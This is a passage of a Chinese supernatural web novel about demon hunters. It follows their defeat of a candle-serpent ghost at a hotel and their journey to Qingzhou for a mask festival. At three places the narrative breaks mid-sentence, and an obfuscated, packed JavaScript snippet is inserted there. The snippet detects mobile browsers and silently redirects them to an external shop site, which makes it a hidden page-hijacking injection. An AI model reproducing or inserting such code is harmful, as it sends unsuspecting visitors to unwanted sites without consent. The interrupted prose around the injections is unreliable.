林眠一回头,就看到这密密麻麻的蛇影,就在她以为要被这些蛇影给吞噬时,秦宁一只弓箭射了过来,成功救了林眠一命。 秦宁喘着气,这么高强度画符拉弓,消耗的体力太大了,指望人工吹灭蜡烛不太可靠。 阿云张开口,吐出一条长长的蛇信子,将地上的林眠直接卷了起来,立在半空中。 林眠挣扎了一下,蛇信子卷的更加紧了。 秦宁见状,对着空中射了几下,都被蛇影挡了下来。 “你抓她干嘛啊?”瞿木见林眠被抓起来,焦急的对着阿云喊,又扭头对秦宁说:“怎么办啊?这个怪物我们打不过啊。” “这烛蛇不太对劲,烛蛇不可能有这么强的力量。”秦宁喘着气说。他小时候曾跟着父亲见过烛龙。 烛龙多是小白蛇,喜欢居住在人类的家里,在有烛火的地方会散发出蛇影捉弄人类。 面前的阿云,是烛龙利用自己的力量养着一只鬼,从而幻化的形态。虽说这烛龙比大多数烛龙有力量,可也不可能强成这样。 “是银木邪性。”林眠在空中挣扎,她听到了秦宁的话,低下头对着秦宁喊:“银木邪性到了阿云的身上。” 她不知道这个信息对秦宁有没有用,但秦宁说到力量,那应该是银木邪性带来的。 秦宁顿了一下,回头看了眼林眠,他怎么没想到这个?这次四人中,况衍君也在,但现在根本看不到他人,李二喜还在屋内昏厥着。 况衍君不见了。 或许,阿云杀了况衍君,拿到了银木邪性。 秦宁抬眼看着吐着蛇信子的阿云,脑子里快速的想着应对方法。 银木邪性到了人的身上,会诱惑人去做一些杀人犯法的事,但到了妖物的身上,竟然是让妖物变得更强大。 但为什么会针对林眠? 林眠被蛇信子缠的越来越近,她不禁想到瞿木做噩梦,梦到被菌丝缠着,是不是就这种感觉? 她浑身使不出力气,整个人喘不上气,眼皮也越来越重了。 瞿木不知道怎么的,突然腿软了下去,他捂着胸口,感觉自己喘不过气了,大口大口的呼着气。 “怎么了?”秦宁见瞿木状况不对,问他。 瞿木摇摇头,他也不知道怎么了,突然就像是胸口被压了一块大石一样。 秦宁皱了一下眉,抬头看向被举在半空中,眼皮已经合上的林眠,他突然清楚了,瞿木应该是受林眠的影响。 林眠半睁开眼,迷迷糊糊中身体一个被用力,她就被拉到阿云的面前,和阿云的脸大概只差了两厘米就能贴在一起了。 “不要妨碍我,不要妨碍我,不要...”阿云眼神空洞,嘴里一直念着这句话。她头顶上的小白蛇却移动到林眠的头顶上,用身体缠绕住林眠的脖子。 秦宁见状,这个烛蛇是真的想杀死林眠。他拉起驱魔弓,对准林眠脖子处,射了一箭过去,却被埋伏在周围的蛇影给拦住了。 “林眠...”瞿木捂着胸口,虚弱的出声。 就在下一秒,他的意识也快消失了,身体上的疲惫和重压让他没办法再睁开眼。 秦宁还在一旁努力,想尽办法接触到林眠,把她从烛蛇的手上救下来。 林眠感觉到自己很困很困,身体里就像是有什么东西要冒出来了。 “杀了你,杀你了,就差一点了。”阿云突然两眼放光,嘴角扯出一抹笑,又很快的消失,变成狰狞和痛苦,“不,不是这样的。” 就是现在。 秦宁抓着阿云松动的这个机会,快速画符、拉弓,对准阿云,射了过去。 这一箭确确实实射到了阿云,被射中的地方就如同被火焰触碰到一样,燃烧了起来,所有的蛇影都汇聚过去,填补那被烧坏的身体。 阿云将头扭转至九十度,垂下头看着秦宁,脸上突然又变得狰狞起来,嘴里发出“咕噜咕噜”的声音,就连缠着林眠脖子处的小白蛇也越发焦躁了起来。 林眠被迫仰起头,瞿木已经彻底晕倒在地了。 秦宁喘着气,凭借他自己一个人,根本没办法和这玩意抗衡。 突然之间,室内闪过一抹白光,秦宁不自觉的眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464003|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上眼,等待眼睛适应后,他才抬头看去,才发现整个走廊处都充斥着菌丝。 菌丝发散着柔和的白光,一点一点,就像是星光一样,将走廊处的蜡烛衬托的暗淡无比。 这些菌丝都是从林眠身上散发出来的,小白蛇在菌丝生长出来的那一瞬间,也快速的回到阿云的身上。 走廊处一黑一白对峙着。 秦宁第一次见到这样的场景,难免也被惊讶住了。 瞿木醒了过来,他从地上爬起来,看了眼林眠和阿云,有些发蒙,拉住秦宁问:“这什么情况啊?” “林眠体内的菌丝觉醒了。”秦宁说,“现在是两个妖物的对决。” “那林眠会有事吗?” 秦宁摇摇头,“我不知道,会寄生在人类身上的妖物,我也是第一次见。” 银木邪性虽然会附生在人的身上,但只为了吸取人类身上的贪念和欲望,和林眠完全不一样。 “不过,杀死林眠不是阿云的欲望。”秦宁说着皱了一下眉,刚刚那个样子,摆明就是想杀了林眠,难道是...银木邪性? “她是妖物,想杀人还分是谁?”瞿木不可置信,只想着现在该怎么办,也不知道林眠打不打得过。 林眠身上的菌丝朝着阿云飞去,和黑影缠绕在一起。 阿云有了银木邪性的加持,林眠逐渐有些吃力,她突然看向不远处的瞿木。 瞿木这时才发现林眠的眼珠子是白色的,看起来就不像是人。他脑子里刚冒出这个想法,自己的身体里就冒出菌丝了。 “怎...怎么回事?”瞿木看着菌丝不断从自己的身体里长出,而林眠一个甩手,自己就被甩到阿云面前,和小白蛇来了个碰面。 蛇影全都围到了瞿木的身上,瞿木想跑都跑不了,绝望地闭上眼,下一秒他发现自己体内的菌丝把自己缠绕成一个球,之后再破开,蛇影就四分五裂了。 瞿木没办法控制自己的身体,就连想扭个头都没办法,只能顺从的被甩来甩去,时不时和小白蛇来个亲密接触。 他知道是林眠在操控着自己。 秦宁也没闲着,趁现在烛蛇分身乏力的状态下,他连忙拉动驱魔弓,再快步跑到蜡烛处,将蜡烛吹灭。 烛蛇的力量来源于蜡烛,只要没有蜡烛,蛇影也就不复存在。 吹灭最后一根蜡烛后,地上的蛇影就全部消失了。 阿云半撑在地上,明显已经吃不消了。 林眠身上的菌丝还没有收回,正在一点一点的缠上阿云的身体,想要将它彻底吞噬掉。 这个时候,秦宁才看清楚,阿云身后有一道巨大的黑影,不同于蛇影,这个黑影是银木邪性。 还不等秦宁出手,阿云身上的黑影就突然扭曲了起来,伴随着阿云痛苦的哀嚎,黑影消失了。 阿云也彻底倒在地上。 “林眠,住手!”秦宁出声,但林眠丝毫没有停下动作,菌丝已经将阿云裹了起来。 瞿木在一旁揉着肩膀,他刚刚被甩来甩去,感觉人都快散架了,好在他平日里会锻炼,还比较解释。 “瞿木,你去把林眠叫醒。”秦宁一边吩咐瞿木,一边拉弓,想让阿云身上的菌丝离开。 “啊?哦哦。”瞿木看到地上被裹成蛹的阿云,赶紧走到林眠身边,用力地摇晃她,“林眠,醒醒,醒醒。” 菌丝被驱魔箭触碰到,消退了一些,但很快又缠上了上去。 林眠发白的眼球看向秦宁,抬起一只手,菌丝就朝秦宁飞了过去。 “敌我不分了啊。”瞿木舔了舔干燥的嘴唇,看了眼被菌丝追着跑的秦宁,索性直接上手拍了拍林眠的脸,对着她的耳朵喊: “林眠!” 18. 云泉酒店(六) 瞿木都决定了,如果林眠还不醒,他就要为此献身了。 林眠感觉到脸上有点痛,她猛地睁开眼,正好瞿木一巴掌拍在自己的脸上。她愣愣地捂住脸颊,看着瞿木。 “我...”瞿木看了眼自己的手掌,结巴着解释:“我...拍的不重。” 林眠一醒,菌丝就停止了,而后快速地缩回林眠的体内。 秦宁刚刚和菌丝在斗智斗勇,现在林眠醒了,他才得以喘气。不知道这菌丝的弱点是什么,他刚刚用各种办法都试了一下,没有什么用。 地上的阿云受了重创,她一点一点往旁边那个房间里爬去。 “他必须死,必须死。”嘴里嘟嘟囔囔地说着。 林眠不知道刚刚发生了什么,感觉脖子处有些疼,她伸出手摸了摸,摸到一点快干了的血迹。 她才回想起来,自己快晕倒时,脖子处就挺疼的。 瞿木在旁边看林眠一脸疑惑地摸着脖子,举手表示:“你的脖子不是我掐的啊。” 林眠看了眼瞿木,有些摸不着头脑。 “李二喜并没做错事,你为什么执意要杀他?”秦宁已经开始在审判阿云了。 瞿木和林眠这才想起房间里面还有个李二喜,瞿木率先走进屋内去看看李二喜怎么样了。 “况衍君呢?”林眠问。 自从出了房间门,她就再也没看到过况衍君,银木邪性也在阿云身上。 “你怎么在里面啊?” 瞿木的声音从房间里面传出来。 “我也不知道,突然之间,我就出现在这里了。”况衍君说道。 他们两个人架着软脚的李二喜出来。 李二喜刚刚在屋子里,目睹了全过程,早就吓得腿都软了。即使现在脑子里还有意识,他也觉得自己浑身无力。 特别是被架着出了屋子,看到地上面目全非的阿云,更是吓得眼睛都不敢睁开了。 阿云看到李二喜,更加激动了,可她身上被压了一张符咒,根本没办法使用能力。 李二喜被放在了地上,偷偷睁开眼,看了眼阿云,又赶紧闭上了,嘴里说着:“太奶奶,太奶奶。” “李二喜,你说她是你太奶奶?”秦宁见从阿云嘴里问不出什么,便问李二喜。 李二喜害怕的浑身发抖,听到秦宁问自己,嘴唇直哆嗦。 “你怕什么?她现在没有法力了,但事情要解决不是?”瞿木在旁说道,这阿云为什么对李二喜这么执着,还有李二喜一直叫阿云为太奶奶。 秦宁说过,阿云是妖物和鬼的结合,那么...阿云真的是他的太奶奶啊? 李二喜做了很久的心理建设,才敢睁开眼,但还是尽量不看地上的阿云,慢慢开口说:“我家里一直挂着太奶奶的画像。” “所以我第一眼,见到她,”李二喜指了指地上的阿云,就认出来是太奶奶。 “说出来你们可能不信,从我太爷爷起,家里的男性每到30岁就会失踪不见,警察都找不到。 “我爸说是太奶奶的冤魂在作怪,我起初不信,可我爸到了三十岁的时候,就失踪了。 “这么多年,我也在找我爸,没找到,不知不觉中,我也到了三十岁。” 说到这里,李二喜浑身抖了抖,“我三十岁生日一过,每天都过得很害怕,一觉睡醒,看到大白天,心里才安心一些,祈祷着过了三十岁就好了。” “可这一天还是来了,我明明就不在云县,却莫名其妙的到了云县,住进了这家酒店,和三个陌生人谈笑风生。 “当我醒过来的时候,我就知道,我肯定和我爸一样,我就想赶紧跑,然后遇到了你们。” 林眠站在瞿木旁边,听着李二喜讲述他的经历,然后再齐刷刷地看向秦宁。 秦宁不认为李二喜说的假话,而且李二喜身上无浊气,表明此人平日里没做过坏事,而阿云执意要杀李二喜,简直不可理喻。 “阿云,你既然是鬼,按照李二喜所说,你至少死了快一百年,为什么要害他?” 阿云缓慢地从地上抬起头,死死盯着李二喜,“我要离开这里,我要离开这里,杀了他,杀了他!” 她的声音突然尖锐起来,把在场除秦宁外,都吓了一跳。 “这到底做了什么啊?能让一只鬼怨恨快一百年了。”瞿木低声对林眠说。 林眠还在摸着脖子,她倒是好奇这只鬼怎么活一百年。 可阿云不会说,她只有对李二喜的怨恨。 “这么晚了?为什么还不睡觉?”一道苍老的声音出现,伴随着地面上出现的蜡烛光影。 林眠侧头看去,走廊楼梯的尽头处,老太太头发散乱,端着一只蜡烛走了过啦。 老太太看到趴在地上的阿云,并不对此感到吃惊,只是看着秦宁,说:“阿云是个可怜的姑娘,烛蛇也是善良的,能否放过他们?” “那为什么要杀李二喜?”秦宁刚正不阿地问老太太。 “李二喜是云县李家最后一位男性了。”老太太回答,用蜡烛点亮走廊处的蜡烛,室内就变得明亮了起来。 瞿木紧张地看了眼烛火,又快速地看向地上趴着的阿云。 “不用担心,烛蛇受了重创,已经无力维持了。”老太太看破了瞿木,直接点破说。 “老太太,你是人,又为什么帮助她杀人?”秦宁问,这老太太年纪大,身上有浊气,说明她长年沾染着死人气。 “最后一位男性?”秦宁没太明白。 阿云还在地上朝着李二喜爬去,就像是没有意识的生物,本能地爬着。 “阿云的执念是李家无后,这样她才能离开,原本今晚成功后,她就会消失了。”老太太浑浊的眼珠看着秦宁,说:“只是你们出现了。” “她原本就是依托烛龙而存在,烛龙受创,也无力保住她了。” 老太太说完,看向窗外。 外面天色渐白,微弱的阳光透过破旧的窗户,将原本漆黑的走廊点亮一抹柔和的白光。 大家这时候才发现,这里是有一扇窗户的,只是昨夜连月亮都没有。 阿云在接触到阳光的那一刻,身上便一点一点化成灰烬,最后只剩下一副纤弱的骨架,以及骨架胸口处,有一条小白蛇。 小白蛇吐着蛇信子,圆溜溜的红色眼珠转了转,就扭动着身子想跑。 秦宁闭着眼画了一个符,符咒飞向小白蛇处,融进它的身体里。 房间边角不知道怎么有个缝隙,小白蛇钻进去就消失了。 地上的白骨扭曲成一个极其诡异的姿势,但也只是一具白骨了。 林眠看着,到底在最后,她也不知阿云为什么要这么做。 瞿木看着小白蛇跑掉了,扯了扯秦宁,不太放心地问他:“就这么让这条蛇跑了?万一它以后再害人。” “不会,我用了决,它的能力被封印了。”秦宁回答,话语间没有想要致这条烛蛇于死地。 瞿木也不作多问。 天亮了,林眠一行人便退了房。 在前台的时候,林眠看了眼前台桌子后面的房间,那里是老太太的房间,她还记得里面摆了三个奇怪的雕塑。 “林眠,走了。”瞿木已经出了酒店门口,看林眠还在里面傻站着,便喊她。 “哦,来了。”林眠收回视线,走出云泉酒店。 今天的阳光很刺眼,她抬头看了下周围,发现附近的房子阳台处,还晾晒了衣服,给人一种其乐融融的模样,昨晚的事情就像是一场梦。 瞿木也有这种感觉,他揉了揉眼眶,打了个哈欠,感觉浑身腰酸背痛的。但是自己旁边那两个人可不像是... “况衍君,昨晚你到底在哪啊?”瞿木用手肘戳了一下况衍君,昨晚就况衍君不在,而且银木邪性也跑出来了。 秦宁正垂着头,不知道在思索一些什么。 “我就在一个没有门的小房间里,觉得有些无聊便睡了一下,醒来的时候,就看到你们了。”况衍君说的十分认真,还问瞿木:“昨晚你们发生了什么事?” 瞿木张了张嘴,看着况衍君那副毫不知情的模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481288|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不知道该说些什么了。重要的是,银木邪性又回到了他的身体里。 “呼~” 李二喜艰难地从楼上爬下来,手上拖着两大袋东西,满脸灰白地坐在石墩上喘着气。 瞿木看了眼李二喜,特别是后面那两袋东西,都不免打了个颤。 昨晚的事情解决后,阿云的尸骨还留在那儿,李二喜主动提出来,要把太奶奶带回去安葬。 这个瞿木也没什么发言权,酒店老太太表示她不收留尸骨,阿云的娘家人也找不到了,也只能让李二喜带走了。 比起这个,老太太还带他们去了另一个密室小房间,里面还有三具尸骨,说都是李家的人。 李二喜一听,顿时流泪满脸,也要把这三具尸骨带回去。 所以,他现在要带着四具尸骨回家。 和李二喜告别后,大家伙就都上车了。 没有人想在云泉酒店多作停留。 只是,从昨晚到现在,一口吃的都没吃上,觉也没睡上,饥肠辘辘,又饥又困。瞿木开着车,开出大约快一千米的时候,发现一家饭店,就把车停到一边,说:“吃点吧,我都快饿昏厥了。” “我赞同!”说到吃的,林眠举双手双脚赞同。 不过进店的时候,瞿木还特地问了一下秦宁:“这里面没事吧?” “光天化日,朗朗乾坤,世上哪有那么多妖物和鬼?”秦宁板着脸,训完瞿木,就抬脚往前走。 瞿木:……那昨晚是什么?他现在觉得到处都是妖物,而且自己身边就没几个正常人! “瞿兄,”况衍君拍了一下瞿木的肩膀。 瞿木回过头,盯着况衍君说:“你是古人吗?还瞿兄,以后我叫你况兄?” 况衍君耸耸肩,说:“随你,只是你挡住路了,我要进去吃饭。” 这家店店门口就那么一扇门,瞿木站在门口处,确实挡住了路。 瞿木翻了个白眼,气鼓鼓地走进去。 店里面,林眠已经拿着菜单,点了好几个菜,并写好了单子递给对面的况衍君,说:“你看看要吃些什么。” “好。”况衍君接过菜单,认真地看了起来。 瞿木看了眼林眠,见她的脖子处还有红红的印子,又想到她刚刚不把菜单给自己,有些不太爽地问她:“你怎么不问我想吃什么?” “你就吃牛肉和青菜呀,我都点了,你说吃牛肉不长胖,你要减肥,我都记得。”林眠一脸老实的回答。 秦宁和况衍君都看向瞿木,打量了一眼瞿木,又都收回视线,默不作声。 瞿木瞬间觉得有些尴尬,嘟囔着解释:“我这是注重健康,不是为了什么减肥啊。而且,我也不胖啊。” 这是一家小炒店,菜色都是家常菜,林眠不挑食,吃什么都很开心;秦宁常年奔波在外,对吃的也不挑;况衍君虽吃的不多,但也保持着得体,细嚼慢咽;只有瞿木,脸上的嫌弃之情很明显。 一顿饭下来,瞿木就只吃了两口,就吃不下了,先行离开饭桌。 秦宁他们吃完后,就上车准备眯一会儿,现在大家也没心情再去找另一家酒店了。 林眠出了饭馆,就看到瞿木坐在马路牙子边上,垂丧着一张脸。 “你不要太挑剔了,你这样会饿死的。”林眠打了个饱嗝,拍了拍瞿木的肩膀说,顺道一屁股坐在了旁边。 瞿木用眼角余光看了眼林眠,从他身上的大口袋里拿出一盒药膏,递给林眠说:“喏,给你。” “脖子上顶着这么大块的红印,不知道的人还以为你被怎么了。” 林眠接过药膏,说了声“谢谢”,就打开包装,往自己脖子上抹。 瞿木在旁边看了两眼,就看不下去的拿过药膏,说:“我来,你都没抹匀。” “哦,我看不见。”林眠也不反驳,只是解释说。这也没有镜子,她不知道具体位置在哪里。 秦宁上了车就闭上了眼,一夜未睡,他也困得很。 车上的况衍君倚靠着车窗,看着不远处的林眠和瞿木两个人。 19. 青州行 大约下午三点钟,林眠在车上眯了一会,就醒来了。她下了车,伸了个懒腰,刚好看到秦宁也醒了。 秦宁下了车,和林眠说:“让他们再多睡一会儿,我去云县逛逛。” “好。”林眠说完,看着秦宁往前走。 这云县是个小县城,周边的鲜少高楼大厦,也不知道秦宁为什么要逛一逛。 她一点也不困了,有些无聊的倚靠在车门处,看着零零散散走动的人。突然,一个熟悉的面孔出现。 “李二喜!”林眠喊住他。 李二喜扭过头,发现是那一行人里面的小姑娘,便主动走上前,打了声招呼。 “你怎么两手空空?那尸骨呢?”林眠发现李二喜没有扛着那两大包的尸骨,便问他。 李二喜听到“尸骨”二字,都想连忙捂住林眠的嘴,这里也有行人路过,被人听到了还不知道怎么想呢! “我打了辆车,就把这些都放车上了,我让司机等等我,我出来弄点吃的。”李二喜解释说。 当然,他没告诉司机,这两大包里面的东西是什么。 虽然有一些不道德,但他也没办法,这些尸骨说不清,被警察发现了,怕是解释不清楚,索性就只能这么办了。 到时候,他多给司机点小费。 “哦哦。”林眠觉得也是,便指着自己中午吃饭的小餐馆,和李二喜说:“去吃那家吧,味道还不错。” “行,要不一起?”李二喜不挑剔,只想赶紧填饱肚子出发。 林眠已经吃饱了,但现在瞿木和况衍君还在休息,没那么快出发,那就... 两个人坐在饭馆里,李二喜特地多点了几个菜。 因是下午了,这个点店里面没什么客人,菜上的也快。 “二喜,你能说说你太奶奶的故事吗?”林眠还挺想知道的,能让人死后,还有这么深的执念。 李二喜拿着筷子的手顿了一下,随后苦笑了一下说:“我都是听我爸说的,可能也不是很清楚,你就当听个故事吧。” “太奶奶小时候是我太爷爷家里的童养媳,自幼和太爷爷在一起,长大后也顺理成章的结婚了。 “但阿云太奶奶并不是我的亲生太奶奶,我太爷爷有两位妻子,我爷爷是...第二位太奶奶生的。阿云太奶奶...没有留下子嗣。” 林眠大概明白这个关系,只是,“那你怎么一眼就能认出她是你太奶奶,即使看照片,应该也是老了的时候。” 阿云的模样看起来就只有二十来岁,很年轻,也很漂亮。 “因为,太奶奶在二十来岁的时候,就去世了。”李二喜说,“挂在家里的遗照和她...” 李二喜咬了一下唇,“一模一样。” 林眠还是觉得怪怪的,李二喜都是第四代了,家里怎么可能会挂太奶奶的照片? “之前我说过,我们家男性活到三十岁就会失踪,毫无下落。” “嗯。”林眠点头。 “其实,家里一直都怀疑是太奶奶的冤魂作怪,还请过法师,也将她的遗像挂在屋内供奉,只是一点效果都没。”李二喜叹了口气,“小时候,我爸和我说过很多,我都不信,直到我10岁那一年,我爸刚好三十岁,突然之间就失踪了。” “那时候我才信了。” 林眠点点头,如果是自己,恐怕也不会信。 “我爸说,太奶奶怨恨我们,是因为太奶奶的孩子没了。四几年的时候,云县发生了一场□□,太奶奶的孩子就死在那场饥荒中,而...二太奶奶的孩子却活了下来,所以才报复我们。” 李二喜说着,低下头吃饭,味同嚼蜡。他不清楚其中缘故,父亲嘴里是这么说的。 林眠撑着脸,是这个原因吗?她不太理解,孩子因饥荒死去,为什么要报复李家后人? “你是李家最后一个孩子?”林眠问,李二喜看着也不小了,三十岁应该有小孩了吧? “嗯,我们家都是单传,我...” 说到自己,李二喜看了眼林眠,不是很好意思地说:“我还是母胎单身。” 这几年母亲一直让他相亲,他也去了,只是...一直都没遇到合适的。而且,自己没过三十岁,也不敢给女生什么承诺之类的。 林眠闭上了嘴。 李二喜吃饱后,就准备离开了,离开之时,他厚着脸皮和林眠加了个微信好友。 林眠送完李二喜,回到车子处的时候,瞿木和况衍君已经醒了。 但秦宁还没回来,大家就一起在车上等了等。 秦宁因为云泉酒店的事,总觉得还有很多地方不对劲,就去附近调查了一下,一打听,果然还有重重问题。 只是现在要陪瞿木去青州找阿细,云泉酒店的事只好往后再放一下。 走回来的时候,就听到瞿木暴躁的声音。 “你为什么要在车上吃烧烤?” “外面冷。”林眠坚决不肯下车,一到傍晚,天气就变凉了,外面蹲着吃烧烤多累啊。 “我们不会弄脏的,弄脏了我给你洗。” 瞿木感觉自己需要带个呼吸罩,可又拿林眠没办法,最后只能眼睁睁地看着她和况衍君两个人在后座吃烧烤。 “你们两个什么时候这么好了?还能一起去买烧烤?”瞿木看了眼况衍君,语气意味不明。 “林眠叫我,我当然要去。”况衍君说着,拿起一根烤羊肉串,在瞿木面前晃了晃。 瞿木嫌弃地撇开眼,他才不吃地边摊,这附近就一家出摊不久的地摊在卖烧烤,这烧烤肯定是地边摊买回来的。 “你睡着了,我只能找衍君和我一起。”林眠解释说。 “原来我是备胎吗?”况衍君接话。 林眠懵了一下,思考了一下备胎的意思。 瞿木看着他们,怎么感觉不太对劲? 这时,刚好秦宁回来了,敲了敲车窗,打断他们三个的对话。 瞿木看到秦宁,没好气地探出个脑袋问:“我们出发不?” 他可不想再在云县待一晚,情愿开夜路也要离开这里。 今晚连夜开,明天早上就能到青州了。 “出发。”秦宁看了眼后座,对瞿木说:“我来开吧。” “哦。”瞿木倒也不抢着开,秦宁要开那就给他。 “我刚刚去了一下云泉酒店附近,和那里的居民打听了一下。”秦宁开着车,突然说。 瞿木一听,紧张兮兮地问:“什么?” “你还敢去啊?” “那个地方邪门的很,一楼处还放着三具白骨,真不知道那些来住店的人怕不怕。而且那个老太太,你说她是人,我看她也邪门得很。” 瞿木提起云泉酒店,话就密了起来。 林眠从后面探出个脑袋,问秦宁:“打听到什么了?” “林小姐,你是不是去过前台旁边那个房间?” 离开的时候,他见林眠一直看着那个房间。 林眠摇摇头,“我没去过,但是我用菌丝看过几眼。” “里面很奇怪,有三尊雕像,但那些雕像乍看像是佛,仔细一看,就会发现不是,看得人不太舒服。” 她记得很清楚。 秦宁一听,大概心里有数了。 “对了,我今天下午还和李二喜见面了,听他说了一下阿云的故事。”林眠把李二喜说的,给他们说了一遍,随后总结道: “我觉得,这个理由不足以成为阿云要杀李家后人的执念。世界上那么死于他人之手的人,都没有这样的执念,这其中肯定发生了什么。” 瞿木听着,对林眠说:“可阿云现在彻彻底底的死了,连鬼魂都没了,我们问谁去?” “这件事已经过去了,阿云和李家的恩怨已经结束了。”况衍君说,阿云既然鬼魂已散,自然也就没有再去打扰李家人的能力了。 开车的秦宁听着他们说,觉得这云泉酒店还有诸多问题,说:“看来,过段时间,我得再来一趟云泉酒店了。” 现在当务之急,还是带着瞿木去找妖物的眼泪。 林眠倒是不在意,接着吃自己的烧烤。 “你要去查那个房间?”瞿木在旁边问。刚问出口,他就见自己的手臂上长出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493273|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菌丝,然后凝聚成一只手,飞到前座的位置处拿到一盒湿纸巾,递给后座的林眠。 瞿木回头看着林眠。 林眠朝他笑笑。 “你现在可真方便啊。”瞿木阴阳怪气地说。自从林眠发现可以操纵自己体内的菌丝,她就时不时做这种事。 “林小姐,昨晚的事情,你真的一点记忆都没有了吗?”秦宁见到刚刚那一幕,联想到昨晚的事,问林眠。 林眠摇摇头,又皱了一下眉,说:“我也不知道算有还是没有。” “我虽然不太记得过程,但是那种感觉,我还记得。” 林眠说着,看向瞿木,抬起自己另一只没碰烧烤的手,说:“大概像这样。” 她话音刚落,瞿木就感觉自己的手被迫抬起来,比了一个“耶”。 “厉害。”况衍君在旁边竖起一个大拇指,并顺势给林眠递了一根烤肉串。 秦宁也不得不承认,这确实厉害,只是经历过,甚至还是在昏厥的情况下,只能说林眠和菌丝之间的共鸣实在是让人难以理解。 如果利用的好,林眠肯定必定会是出色的除妖师。 只是,瞿木身体里的菌丝,却没有这个效果。林眠本身战斗力不强,生命受到威胁的时候,菌丝才会主动出来。 “林小姐,以后遇到事情,你可以试试操控菌丝进行战斗。”秦宁提议道,他觉得菌丝如果能像现在被林眠完全控制住,那是极其有益的。 “哦哦。”林眠不知道原因,但点点头。昨晚确实很惊险,好在大家都相安无事。 瞿木缩在角落,他现在觉得,这菌丝在自己体内,就是为了给林眠当玩偶,被随意操纵。 “瞿木,你真的不吃吗?你今天都没吃什么东西。”林眠伸出手,戳了戳前座的瞿木,见他闷闷不乐的。 “不吃,我现在哀莫大于心死。”瞿木生无可恋地说。 林眠耸耸肩,她用脚指头都知道,瞿木肯定是嫌弃路边摊不干净。 秦宁和瞿木两个人轮流开车,开了一夜,才在早晨的时候抵达青州。 “到了市里了,还有多远啊?”瞿木打了个哈欠问。 “阿细住在山脚下,还要再开一小时山里。”秦宁说,“要不现在市里面休息一下,明天再去?” “也好。”瞿木看看时间,既然来到青州,也就不急这一时半刻了。 主要是真的累了。 这次瞿木订的酒店是青州唯一一家五星级酒店,定了个大套房,足够他们四个人睡觉。 进入酒店套房的那一刻,瞿木躺在沙发上,舒服地说:“以后订酒店,不是五星级的我不住。” “一是舒服,二是安全。”他伸出两只手指晃了晃,小酒店太邪门了,鬼知道会发生什么事。 大家伙都没搭理瞿木。 林眠第一件事就是去洗澡,况衍君则找了个房间,进去就把门关上了。 秦宁则坐到一旁,拿着手机不知道在做些什么。 “你不睡一下?”瞿木凑上前,问秦宁。毕竟秦宁一夜未睡,自己好歹还眯了会。 “不困,有些事需要记录。”秦宁说着,手指在手机上快速地打字。 瞿木看了眼,是备忘录。真佩服他们除妖师,每做一件事都得记录在册。 他在沙发上躺了会,翻了几下,又说:“你觉不觉得况衍君有点奇怪啊?” 还不秦宁开口,他就先说起来:“那银木邪性竟然能从他的身体里离开,又再回去。问他,他就说不知道,自己睡着了。” “这也太假了,如果他一睡着,银木邪性就能跑了,那跑了怎么可能还会再倒回来?就出来作一下恶吗? “他以为是动画片里的反派呢?” 秦宁把手机屏幕一熄,看向瞿木:“你说的有道理。” 瞿木第一次被秦宁这么认可,顿时就装起来了,仰起头说:“那肯定有道理。” “休息吧,这件事等之后再说,至少目前,他也在帮助我们。”秦宁拍了拍瞿木的肩膀,就回房间去了。 瞿木挠了挠头,他感觉自己要长脑子了。 20. 细腰 大家今天在青州休息了会,再去市里面逛了逛。 也不知道青州是平日就这么人多,还是就今天晚上。一条街上,全是人,每个人要么脸上带着面具,要么手上拿着面具,但却没有一家卖面具的摊档。 “今天是什么面具节吗?”瞿木问。 “今天是青州四年一度的祭神节,按照习俗,青州人民都会拿上面具,表示对神明的尊敬之意。 “古时候,这一天里,是必须要佩戴面具的,现在已经没有那么严格的要求了,只需要拿着面具也可。” 况衍君解释说。 瞿木这才想起,况衍君就是青州人。 “我之前也听父亲说过,只是从来没见过,现在一见,果然有些意思,就是不知道这祭拜的神明是哪一位?”秦宁问道。他自幼学习除妖师,自然也会学习风水相关之类的道术,各类神仙自然也都要认识一二。 只是,他没听闻过,祭拜神明要戴面具的神。 “阡陌将军。”况衍君回答。 秦宁有点吃惊,阡陌将军又称开路神,是能够驱疫辟邪的神,属于古时候丧葬文化风俗的一个形象。 没想到青州竟然会祭祀这样的神明,并用戴面具的方式祭拜。 瞿木听不懂这些,他更在意的是:“为什么这里没有卖面具的啊?” 他们四个人没有面具,站在人群中格格不入。当然,林眠没有这个不适感,她已经冲在人群中,挤到小吃摊处,排着队买东西。 “因为每个人的面具都是要自己制作的,市面上是不会卖的。”况衍君说着,侧过头看向瞿木,一字一句道:“这是信仰。” 瞿木撇撇嘴:……我又不知道。 